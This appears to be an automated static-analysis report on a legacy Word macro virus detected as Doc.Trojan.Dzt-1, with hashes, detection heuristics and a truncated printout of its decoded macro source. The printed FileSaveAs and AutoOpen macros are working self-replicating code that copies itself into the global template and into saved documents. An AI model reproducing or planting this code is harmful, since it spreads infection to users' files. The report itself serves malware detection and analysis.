Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 885acfa18d69f1df…

MALICIOUS

Office (OLE)

48.0 KB Created: 1980-01-04 20:20:00 Authoring application: Microsoft Word 8.0 First seen: 2012-06-14
MD5: f0d0c23db14ddccfb41c0a9d1c33ffb5 SHA-1: c3a6264957c3d78e448c6110e58e47514321804e SHA-256: 885acfa18d69f1df91b78d9f1d94c569de53173f7d28ef0bd3197608762d4a26
200 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic

The sample is a malicious Word document containing a legacy WordBasic macro named 'FileSaveAs'. This macro appears to be designed to copy itself and potentially execute further malicious code, as indicated by the 'AutoOpen' macro and the ClamAV detection as 'Doc.Trojan.Dzt-1'. The presence of the 'FileSaveAs' macro and the 'AutoOpen' heuristic strongly suggest an attempt to execute malicious code upon opening or saving the document.

Heuristics 4

  • ClamAV: Doc.Trojan.Dzt-1 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.Dzt-1
  • VBA macros detected medium 1 related finding OLE_VBA_MACROS
    Document contains VBA macro code
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 14326 bytes
SHA-256: a48ef8131546960eecf100e21c844d905a881ad459efddd6bfd5f748ebaf76bf
Detection
ClamAV: Doc.Trojan.Dzt-1
Obfuscation or payload: unlikely
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "0{00020906-0000-0000-C000-000000000046}"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "FileSaveAs"

Dim Filebaru$, FileMacro$
Dim salah

Public Sub MAIN()
Attribute MAIN.VB_Description = "Saves a copy of the document in a separate file "
Attribute MAIN.VB_ProcData.VB_Invoke_Func = "TemplateProject.FileSaveAs.MAIN"
Filebaru$ = ""
FileMacro$ = ""
salah = 0
WordBasic.DisableInput (1)
WordBasic.DisableAutoMacros (1)
On Error GoTo -1: On Error GoTo finish
FileMacro$ = WordBasic.[MacroFileName$]()
Dim dlg As Object: Set dlg = WordBasic.DialogRecord.FileSaveAs(False)
WordBasic.CurValues.FileSaveAs dlg
WordBasic.Dialog.FileSaveAs dlg
If dlg.Format = 0 Then dlg.Format = 1
Filebaru$ = WordBasic.[FileName$]()
CopyToFile
If salah <> 0 Then CopyToGlobal
Aksi
WordBasic.FileSaveAs dlg
finish:
End Sub

Private Sub CopyToFile()
On Error GoTo -1: On Error GoTo finish
CekCopyToFile
If salah = 0 Then
    CopyAOF
End If
finish:
End Sub

Private Sub CekCopyToFile()
On Error GoTo -1: On Error GoTo fin
WordBasic.MacroCopy "Global:FileSaveAs", Filebaru$ + ":FileSaveAs", 1
fin:
salah = Err.Number
End Sub

Private Sub CopyToGlobal()
On Error GoTo -1: On Error GoTo fin
CopyAOtoG
WordBasic.MacroCopy FileMacro$ + ":FileSaveAs", "Global:FileSaveAs", 1
fin:
salah = Err.Number
End Sub

Private Sub CopyAOtoG()
On Error GoTo -1: On Error GoTo finish
WordBasic.MacroCopy FileMacro$ + ":AutoOpen", "Global:FileSave", 1
finish:
End Sub

Private Sub CopyAOF()
On Error GoTo -1: On Error GoTo finish
    WordBasic.MacroCopy "Global:FileSave", Filebaru$ + ":AutoOpen", 1
finish:
End Sub

Private Sub Aksi()
On Error GoTo -1: On Error GoTo finish
WordBasic.FileSummaryInfo Comments:="DZT"
WordBasic.SetDocumentVar "Dzutaqshiri", "(c)Hikmat Sudrajat, Bandung, April 1996"
finish:
End Sub

Attribute VB_Name = "AutoOpen"

Dim formatfile, salah
Dim Filebaru$, Cek$

Public Sub MAIN()
Attribute MAIN.VB_Description = "Saves the active document or template"
Attribute MAIN.VB_ProcData.VB_Invoke_Func = "TemplateProject.AutoOpen.MAIN"
formatfile = 0
salah = 0
Filebaru$ = ""
Cek$ = ""
NoAuto
On Error GoTo -1: On Error GoTo finish
Cek$ = WordBasic.[FileNameFromWindow$]()
If WordBasic.IsMacro() Then
    WordBasic.FileSave
    GoTo finish
End If
ulang:
SaveTo
If salah = 1059 Then
    Cek$ = ""
    GoTo ulang
End If
finish:
If Err.Number = 509 Then PrintDisable
End Sub

Private Sub NoAuto()
On Error GoTo -1: On Error GoTo finish
WordBasic.DisableInput (1)
WordBasic.DisableAutoMacros (1)
finish:
End Sub

Private Sub SaveTo()
On Error GoTo -1: On Error GoTo finish
Dim dlg As Object: Set dlg = WordBasic.DialogRecord.FileSaveAs(False)
WordBasic.CurValues.FileSaveAs dlg
If Cek$ = "" Then WordBasic.Dialog.FileSaveAs dlg
If dlg.Format = 0 Then dlg.Format = 1
formatfile = dlg.Format
Filebaru$ = WordBasic.[FileName$]()
If formatfile = 1 Then CopyToFile
If salah = 0 Then
    If formatfile = 1 Then Aksi
    WordBasic.FileSaveAs dlg
End If
finish:
salah = Err.Number
End Sub

Private Sub CopyToFile()
On Error GoTo -1: On Error GoTo finish
CekCopyToFile
If salah = 0 Then
    CopyFSAF
End If
If salah <> 0 Then
    CopyFSG
    CopyFSAG
End If
finish:
End Sub

Private Sub CekCopyToFile()
On Error GoTo -1: On Error GoTo fin
WordBasic.MacroCopy "Global:FileSave", Filebaru$ + ":AutoOpen", 1
fin:
salah = Err.Number
End Sub

Private Sub CopyFSG()
On Error GoTo -1: On Error GoTo finish
    WordBasic.MacroCopy Filebaru$ + ":AutoOpen", "Global:FileSave", 1
finish:
End Sub

Private Sub CopyFSAG()
On Error GoTo -1: On Error GoTo finish
    WordBasic.MacroCopy Filebaru$ + ":FileSaveAs", "Global:FileSaveAs", 1
finish:
End Sub

Private Sub CopyFSAF()
On Error GoTo -1: On Error GoTo finish
    WordBasic.MacroCopy "Global:FileSaveAs", Filebaru$ + ":FileSaveAs", 1
fi
... (truncated)

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